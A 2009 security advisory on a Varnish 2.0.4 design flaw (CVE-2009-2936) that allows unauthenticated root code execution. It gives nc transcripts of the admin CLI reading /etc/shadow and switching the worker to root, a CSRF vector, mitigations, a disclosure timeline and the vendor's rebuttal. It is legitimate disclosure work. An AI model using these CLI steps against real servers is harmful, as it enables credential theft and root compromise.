Medium security hole in Varnish reverse proxy

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Nth Dimension Security Advisory (NDSA20090908)
Date: 26th September 2009
Author: Tim Brown <mailto:[email protected]>
URL: <http://www.nth-dimension.org.uk/&gt; / <http://www.machine.org.uk/&gt;
Product: Varnish 2.0.4 <http://www.varnish-cache.org/&gt;
Vendor: Redpill Linpro <http://www.redpill-linpro.com/&gt;
Risk: High

Summary

The Varnish reverse proxy server is vulnerable to unauthenticated code
execution as the root user. Depending on the exact circumstances this can
lead to either privilege escalation or a full remote compromise.

After discussions with the vendor, this vulnerability was reported to the
Debian security team. The Debian security team assigned CVE-2009-2936 to
these vulnerabilities. Further investigations indicated that the versions of
Varnish to be found in both the Fedora and Ubuntu GNU/Linux distributions
were also affected.

Technical Details

The Varnish reverse proxy server is vulnerable to unauthenticated remote
code execution as the root user due to a design flaw.

Varnish in its default state consists of two processes; one master process
which runs as root (allows configuration) and one which runs as nobody
(serves proxy requests). The master process has a listening socket which
handles requests.

It was identified that it was possible to ask the master process to read
arbitrary VCL config files using the vcl.load directive and if it
couldn't parse them then it returned the first line in the error. This
can be used to get the obfuscated root password from /etc/shadow:

$ nc localhost 6082
200 154

---

Varnish HTTP accelerator CLI.

---

Type 'help' for command list.
Type 'quit' to close CLI session.

vcl.load shadow /etc/shadow
106 173
Message from VCC-compiler:
Syntax error at
(input Line 1 Pos 5)
root:!:14623:0:99999:7:::

• ----#--------------------
  Running VCC-compiler failed, exit 1VCL compilation failed

More seriously, the master process also allows the values of the initial
arguments to be reconfigured, including the user under which the proxy
process runs. It is possible to set this to root and restart the proxy
process:

$ nc localhost 6082
200 154

---

Varnish HTTP accelerator CLI.

---

Type 'help' for command list.
Type 'quit' to close CLI session.

param.show user
200 441
user nobody (65534)
…

param.set user root
200 47
Change will take effect when child is restarted

stop
200 0

start
200 0

param.show user
200 441
user root (0)
…

Varnish allows VCL config files to include arbitrary C calls by wrapping
them within C{ and }C tags in the config. Varnish then compiles this C on
the fly to be used to process proxy requests. Using this, is is
possible to either ask the Varnish master process to read a malicious VCL
config file or the new configuration can be injected directly over the
TCP connection to the master process using the vcl.inline directive.
This code is now executed by the now root proxy process.

Whilst it is acknowledged that the inclusion of this functionality is
entirely intentional and that the vendor does not believe it to be a
problem, the default behaviour of the server could be exploited particularly
where the user is unaware of the servers existance. In the case of both
Debian and Ubuntu, this meant that the server was likely to be started by
the init subsystem.

Note that whilst on Debian and Fedora, the master process is only bound to
localhost, in other cases, it may be possible for an attacker to connect
directly to the master process over the network and recreate the attack
outlined. Where the attacker can not route directly to the listening port
on the master process there is also a cross-site request forgery based attack
(similar to the vulnerability on the Tor control port[1] some years back)
since the master process is very tolerant of malformed requests. If a
attacker can cause a legitimate admin to make a POST request on their behalf
then they may be able to inject commands in that way.

Solutions

In order to completely protect against the vulnerability (in the short term),
Nth Dimension recommend turning off the server and replacing it with another
reverse proxy such as Squid. Should this not be possible, Nth Dimension
would strongly recommend that users confirm that the master process is not
listening on an external network interface. In the latter case, users
should confirm that only trusted users have SSH access to the system.

History

Following vendor notification on the 3rd September 2009, Nth Dimension were
directed to a configuration setting[2] which it was claimed would require
the user to authenticate before making any configuration changes. Nth
Dimension attempted to clarify with the vendor as to why Varnish was shipped
in an insecure state where a root owned process listened on a TCP port
without authentication and could be made to load and execute arbitrary
C. The vendors response was essentially that they believed satisfactory
warnings were in place and that any vulnerability was configurational
rather than a design flaw.

Nth Dimension contacted the Debian project on the 4th and after notifying
them of the initial vulnerability, continued researching. Whilst doing this,
Nth Dimension were able to confirm that authentication functionality did
exist, however the changeset[3] in which it was added had not been ported
to the latest stable release 2.0.4 and was only available in trunk.
Additionally, whilst the vendor was correct that the master process socket
needed to be socket explicitly enabled, the vendors own packaging for Redhat
(from which other distro packages are derived) has a sysconfig script[4] that
switches it on.

On 13th September 2009, the Debian package maintainer proposed patches to
Nth Dimension that disable the support for arbitrary C (within .vcl
configuration files only). They also noted that a new feature would likely
be introduced in the next stable upstream release which would allow the
feature to be enabled and disabled at run time by passing the appropriate
flags to the Varnish process when starting it.

Current

As of 25th March 2010, the state of these vulnerabilities is believed to
be as follows:

| | 2.0.6 | 2.1.0 |
| Unauthenticated access to master process | | Fixed |
| Master process accepts malformed XSRF request | | |
| Arbitrary file read via master process | | |
| Master process can reconfigure proxy as root | | |
| Inline C can be injected via file | | |
| Inline C can be injected via vcl.inline | | |

2.1.0 has entered Debian unstable and a patch to the packaging has been prepared
for 1.1.2 in Debian stable which disables the listening TCP socket on the
master process. Disabling or password protecting the listening TCP socket
of the master process satisfactorily mitigates the issues outlined above.

Nth Dimension are not aware of fixes for Fedora or any distribution.

Vendor Response

The vendor asked for the following to be included verbatim within the
published advisory:

This "security-advisory" is mostly bunk and pointless speculation, and may
not even have anything to do with Varnish.

Let me explain why that is:

Varnish is a tool for professionals, and as such it contains very powerful
bits and sharp edges because it is designed to move data at wire-speed, no
matter how much money you spent on your hardware.

If it helps the reader get into the right frame of mind, think of Varnish
as "Husqvarna Extreme Logging Chainsaw" as opposed to "Toys'R'Us Plastic
Saw For Babies".

It is the Varnish users responsibility to aim and apply these powerful bits
and sharp edges wisely: Towards purposeful application and away from harm.
If that is not possible, the user should be intelligent enough to not enable
these features in the first place.

In accordance with my personal version of the Principle Of Least
Astonishment, these features, in particular the CLI, are disabled by default
in Varnish: It takes explicit command line arguments to enable them.

If the people who distribute Varnish as packages decide otherwise, and
enable the CLI by default, they supposedly to know what they are doing,
and presumably also why.

Furthermore, Varnish is written to not need root priviledge to run.

The typical reason to run Varnish as root anyway, is that the OS/kernel
requires this priviledge to bind to TCP port 80. All qualified observers
find this requirement a serious security flaw in the POSIX standard. (You
have no idea how much I wish I could fix that.)

The long litany of speculation, in this so-called "security advisory", about
what you can do with the Varnish CLI in various circumstances, if it is
enabled, is therefore fundamentally misguided and pointless, in the same
way an enumerated list of which pieces of household furniture a Husqvarna
chainsaw can possibly cut through, once you start it, would be.

If you start Varnish as root, and tell it to format your disks through the
CLI or in-line C-code, it will, by design, faithfully attempt to follow your
instructions and format your disk.

If you do not want Varnish to format your disk, then you should not ask it to.

• From this it is immediately obvious to any casual observer, that if you do not
  protect access to the Varnish CLI, or send unwise commands to it, you will be
  screwed. If this was news or a surprise to you, you should step away from
  the keyboard and start growing cabbage instead.

The only reason I do not declare this so-called "security advisory" totally
bunk, is that it may contain one tiny fig-leaf of substance:

If somebody, who distributes software in package format, unwisely selects a
non-POLA-compliant configuration as default, the users of that package may get
screwed. This is truth in the absolute sense, not just for Varnish, but for
all possible software.

To the extent this "security advisory" document such an inconsistent
application of POLA, relative to some specific distribution channels packaging
of Varnish, it would have a valid point.

But I don't see that point being made, much less clearly documented, anywhere
in the text. The closest we get is the sentence:

"Note that whilst on Debian and Fedora, the master process is only bound to
localhost,"

But no attempt is made to compare this fact to the respective and expected POLA
guidelines for these distributions ?

Instead, the above factual observation is immediately followed by totally
vacuous speculation:

"in other cases, it may be possible for an attacker to connect directly to the
master process over the network […]"

Which is as informative and helpful as the statement:

"Chain-saws could conceiveably hurt people".

And thus, in conclusion, I can't help but wonder, how much better off we would
all be, if "security researchers" tried to design security into software,
rather than to waste time, theirs and ours, on pointless security-advisory
trophy hunts.

Poul-Henning Kamp,
aka: [email protected],
aka: Author of Varnish,
And not at all amused.

Thanks

Whilst their intervention was not successful, Nth Dimension would like to
thank Joey Schulze and Moritz Muehlenhoff of the Debian security team and
the package maintainer Stig Sandbeck Mathisen for their attempts to mediate
a satisfactory solution. Nth Dimension would also like to thank various
other unnamed individuals with whom the vulnerability was discussed during the
research phase.

[1] http://www.securityfocus.com/bid/25188/discuss
[2] http://www.varnish-cache.org/wiki/CLI
[3] http://www.varnish-cache.org/changeset/3865
[4] http://www.varnish-cache.org/browser/trunk/varnish-cache/redhat/varnish.sysconfig
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQIcBAEBCAAGBQJLsFckAAoJEPJhpTVyySo7+pUP/3010oniD5fna8vxUsOUEetf
dksx2r20cVqbF8mLCXsMe4Uo+oqomUkDhPCp1ofvJ4qbQ3io9x22ckzz6OA6Ai8o
QQV4MBXSBA7ikLUH1SCRER7NVQ48Y0a4jJxiMApwFSlULxwEVhH1mX5v22LhsHaf
HCTZ7xn5rt5YaugSfTpjavW+AKEkIaoPCj7amvZNCEg4CVq3M+qrx2GUPtmmFCH8
8T9r9x78es9DMGzXad5N8Y1z6JfLaqJqx1zy3XoQ1GvN16a7q/0PkEzg1b/c0oZE
Y6csWY2Db3zrCYcLL/Cv59nNcIog9Jtt9rvKeM5v4+NynNqVcZ1XTCsiZfAAGGy2
ivgbgjdL8kQSlQ0ZRdLoBBj4sLdwGN9l1s4q1AWZLpZfws9JaP19SyPn3YUOsunf
DzaE85Pgx8gDbPP6pu9jrmSxR9DhexskJ6LHfDjeKD1CRJBxmUK7285dBVlgDSOA
TgSr7penbUTzE64O3IlfjdE+2TzUd+8z1wqWCVVi9/rsN1P50SdtYGYCvhoqXCEW
ai3kzawjBvfMWV7OoNSqKDNFVLkI2Q4pzp6uQfgdOuFzSAHrt7+1eO3/LNM2lF07
aVbQ2cd4V5WDe8yH+4RABY8+B/J9QMa4H44HM0J5kTOa13ZvWXln1KuD8CiB5UYf
uKFUKQTvO69HTP+lufC1
=n6jW
-----END PGP SIGNATURE-----